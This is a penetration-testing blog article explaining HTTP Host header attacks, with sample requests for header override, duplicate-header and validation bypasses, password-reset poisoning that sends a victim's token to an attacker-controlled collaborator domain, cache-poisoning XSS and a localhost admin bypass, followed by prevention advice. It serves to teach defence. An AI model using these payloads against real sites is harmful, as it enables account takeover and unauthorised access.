According to the RFC 2616 standard, the ‘Host’ header is mandatory in an HTTP request. It indicates the host and, if applicable, the port of the requested resource, as in a URL.
In practical terms, this header allows the server to correctly redirect the request to the right site, particularly when several domain names share the same IP address. The value of the Host header generally corresponds to the domain name in the URL.
Some developers therefore mistakenly believe that this header cannot be manipulated by a user. However, like any field in an HTTP request, it can be modified. If it is poorly validated or used in a dangerous manner by the application or server, the Host header becomes a potential entry point for attacks.
In this article, we will examine the main vulnerabilities related to the Host header, their possible impacts, and best practices for protecting against them.
Comprehensive Guide to Host Header Attacks
Host Header Bypass and Manipulation Techniques
Before discussing vulnerabilities and their exploitation, let’s look at how an attacker can modify the value of the Host header and, in some cases, trick the server into using it. Depending on the infrastructure (load balancer, reverse proxy, application server) and the controls in place, there are several methods that can be used to bypass protections.
The techniques described below all succeed if they manage to get the application to accept the host provided by the attacker. However, they only work if the conditions are right and if the servers do not properly normalise or validate this header.
Lack of control over the host
When the infrastructure does not validate the Host header, simply replacing its value is enough for the server to take it into account. This is the simplest and most critical case: the application directly processes the value provided by the client without normalising or restricting it.
Initial request:
GET / HTTP/1.1
Host: example.com
Falsified request (Host
value replaced):
GET / HTTP/1.1
Host: vaadata.com
This configuration is dangerous because if the application uses Host to generate URLs, create password reset links, or build redirects, an attacker can impose their domain and cause malicious redirects, phishing, or token leaks.
Special headers
When the server ignores or normalises the Host header, the backend can still trust special headers provided by the client or proxy.
The headers commonly used for this purpose are as follows:
X-Forwarded-Host
X-HTTP-Host-Override
Forwarded
X-Host
X-Forwarded-Server
If we repeat the previous request, we will have, for example:
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: vaadata.com
The frontend server will be able to route the request to example.com
, while the backend, if it trusts X-Forwarded-Host
, will use vaadata.com
to construct URLs, redirects, or sensitive links.
Duplicate Host headers
Some HTTP chains accept duplicate headers. This means that an attacker can send two separate Host headers in the hope that the frontend server and the backend server will treat them differently. For example, the frontend might use the first Host
header, while the backend uses the second.
GET / HTTP/1.1
Host: example.com
Host: vaadata.com
This is problematic because different parsers or proxies may prefer the first or last occurrence of a duplicate header. So if one component chooses example.com
for routing but another uses vaadata.com
to generate URLs or tokens, an attacker can carry out malicious exploits (redirects, phishing, etc.).
Bypassing by adding space
A variation on duplicate headers involves inserting a malicious Host preceded by spaces in order to bypass checks that reject duplicates.
This is because some parsers or proxies treat header lines containing leading spaces differently, which can lead to inconsistent behaviour between the frontend and backend.
GET / HTTP/1.1
Host: vaadata.com
Host: example.com
Here, the attacker places a malicious Host
before the legitimate Host
. If the frontend detects and rejects duplicate Host
headers but does not normalise the line containing spaces, the backend may end up using the value vaadata.com
.
Absolute-form requests (absolute URL in the request line)
Some servers accept an absolute query string (full URL) instead of a relative path. An attacker can exploit this behaviour to create confusion between the requested URL and the value of the Host field.
Example of a malicious request:
GET https://example.com/ HTTP/1.1
Host: vaadata.com
Here, the frontend can route the request to example.com
(as indicated by the absolute URL), while the backend, if it relies on the Host
header, will use vaadata.com
to construct URLs, redirects, or tokens.
Weak controls
When an application implements incomplete checks on the Host
value, these protections can allow targeted bypasses.
Here are the most common cases and how to exploit them.
Port manipulation
Some validators treat the entire Host string as a single value and tolerate unexpected (or poorly formatted) segments. E.g.:
GET / HTTP/1.1
Host: example.com:vaadata.com
Depending on how the application extracts the port, this may lead to unexpected behaviour if the parser incorrectly separates the host name and port.
Prefix bypass
If the check only verifies that the host ends with an authorised domain, an attacker can prefix their own domain:
GET / HTTP/1.1
Host: vaadataexample.com
Here, vaadataexample.com ends with example.com (if the check is naive) and passes the check even though it is not the expected domain.
Control of the domain but not the subdomains
If filtering only checks the root domain and ignores subdomains, a compromised subdomain can be reused:
GET / HTTP/1.1
Host: compromised-subdomain.example.com
This bypass assumes that the attacker already controls an exploitable subdomain.
Of course, this list is not exhaustive and other cases may arise depending on the control implemented. In general, it is useful to test as many things as possible on the value of the ‘Host’ header to identify any abnormal behaviour on the server and potentially exploit it.
Host Header Attacks and Exploitations
Even if it is possible to overwrite the value of the original ‘Host’ header, this does not necessarily mean that a vulnerability is present. In fact, to exploit a vulnerability related to the ‘Host’ header, the application must process its value in a dangerous manner.
In the rest of this article, we will look at a few cases where this can pose a security problem.
Password reset bypass using Host / X-Forwarded-Host
Let us consider the following application:
On the authentication page, we can see that it is possible to reset your password.
When a user utilises this feature, the following HTTP request is sent to the server:
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
[email protected]
However, because the application is vulnerable, this allows an attacker to overwrite the original Host header as follows:
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
X-Fowarded-Host: 7u2pw814nhb1miodmlffskq50w6nudi2.oastify.com
[email protected]
Here, the attacker sent a reset request for the victim’s email while overwriting the original host with a domain belonging to them, 7u2pw814nhb1miodmlffskq50w6nudi2.oastify.com
.
The server, which uses the value of the X-Forwarded-Host
header to create the password reset link, will therefore send the following email to the victim:
As we can see in the email, the application built the password reset link from the attacker’s domain.
If the victim clicks on the link, they will be redirected to the attacker’s domain and the attacker will be able to retrieve their password reset token:
The attacker has successfully received the interaction and reset token on their server and can now change the victim’s password to steal their account.
Cache poisoning and XSS via host manipulation
Let us take the following application as an example:
At first glance, it is a simple HTML application that includes a JavaScript script to animate waves on the page:
Request:
GET /wave.html HTTP/1.1
Host: example.com
Response:
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.2
Date: Wed, 27 Aug 2025 09:06:34 GMT
X-Cache-Status: HIT
Content-type: text/html
Content-Length: 501
Last-Modified: Wed, 27 Aug 2025 08:45:05 GMT
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>Welcome back!</title>
<link rel="stylesheet" href="./style.css">
</head>
<body>
<canvas id="waveCanvas" aria-hidden="true"></canvas>
<main class="card" role="main" aria-labelledby="welcome-title">
<h1 id="welcome-title">Welcome back!</h1>
</main>
<script src="https://example.com/wave.js"></script>
</body>
</html>
However, there are two behaviours that, when combined, prove interesting from an attacker’s point of view.
Host header injection
Firstly, it is possible to overwrite the value of the Host header by adding a second arbitrary ‘Host’ header:
Request:
GET /wave.html HTTP/1.1
Host: example.com
Host: vaadata.com
Response:
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.2
Date: Wed, 27 Aug 2025 09:06:34 GMT
X-Cache-Status: HIT
Content-type: text/html
Content-Length: 501
Last-Modified: Wed, 27 Aug 2025 08:45:05 GMT
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>Welcome back!</title>
<link rel="stylesheet" href="./style.css">
</head>
<body>
<canvas id="waveCanvas" aria-hidden="true"></canvas>
<main class="card" role="main" aria-labelledby="welcome-title">
<h1 id="welcome-title">Welcome back!</h1>
</main>
<script src="https://vaadata.com/wave.js"></script>
</body>
</html>
We note that the server constructs the script URL from the Host header, and that we have successfully overwritten this value. In other words, we control the URL of the JavaScript file.
However, for now, only the sender of the modified request is affected. This is because the URL change only applies if the user adds a Host header to their request themselves, which is not realistic.
Cache poisoning attack and XSS exploitation
However, another server behaviour allows this change to be propagated to all visitors to the page.
When examining the response, we see the X-Cache-Status: HIT
header, which means that the response from /wave.html
is cached. More importantly, after adding a second Host
header, X-Cache-Status
remains HIT. This proves that the Host
field is not included in the cache key and therefore that cache poisoning is possible.
In concrete terms, if we force the server to cache a response containing a script pointing to our malicious domain, all users who load /wave.html
will receive this script from the cache.
By combining Host header injection and cache poisoning, we can serve malicious JavaScript to all visitors to the page.
We therefore placed an alert(1)
script on https://vaadata/wave.js
. After forcing the caching of the response containing this script (while injecting our Host), then reloading the /wave.html
page, the alert runs, proving that the attack works and spreads via the cache.
Bypassing authentication by manipulating the host
Let us consider the following application:
The HTTP request sent is as follows:
GET /admin HTTP/1.1
Host: example.com
Response:
HTTP/1.0 401 Unauthorized
Content-Type: text/html; charset=utf-8
[...TRUNCATED DATA...]
We see a message indicating that the administration page we are trying to open is only accessible to users on the local network.
The server may determine whether a visitor is ‘local’ based on the value of the Host header. This implementation seems unrealistic, but it is possible that developers assume that the Host header cannot be modified and assume that the only way to access the administration panel is to use the URL https://localhost/admin
, which is inaccessible from outside.
However, as we showed earlier, it is possible to overwrite the value of the Host header.
So let’s try replacing Host
directly with localhost
and see how the server reacts.
Request:
GET /admin HTTP/1.1
Host: localhost
Response:
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.2
Date: Wed, 27 Aug 2025 15:25:03 GMT
Content-type: text/html
Content-Length: 2107
Last-Modified: Wed, 27 Aug 2025 14:12:26 GMT
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>Admin Dashboard</title>
<style>
[...TRUNCATED DATA...]
If we view the response in the browser, we do have access to the administration panel.
How to Prevent Host Header Attacks?
Several measures must be implemented to protect against attacks related to the Host header.
First, the server must never construct sensitive URLs (e.g. password reset links) based on the value of the Host header. Instead, a fixed domain defined in a configuration file created when the application is deployed must be used.
Similarly, the Host header should not be used to authenticate a user or determine whether they are ‘local’. If the application needs to verify that the user is on the local network, it should rely on the actual client IP address (e.g. with the $_SERVER[“REMOTE_ADDR”]
variable in PHP) and not on Host. Authentication itself should be based on a robust mechanism (username, password, MFA), not on IP address checking.
If an application is intended for strictly internal use, it should not be exposed on the same server as public services. It is better to deploy it on an internal infrastructure or apply firewall rules to block all external access.
Finally, to harden the entire application:
- favour relative URLs (to render a change of Host ineffective);
- refuse or filter any headers that could overwrite Host;
- systematically correct vulnerabilities that appear ‘harmless’ (e.g. self-XSS via Host), as they can be combined with other flaws and impact users.
Author: Lorenzo CARTE – Pentester @Vaadata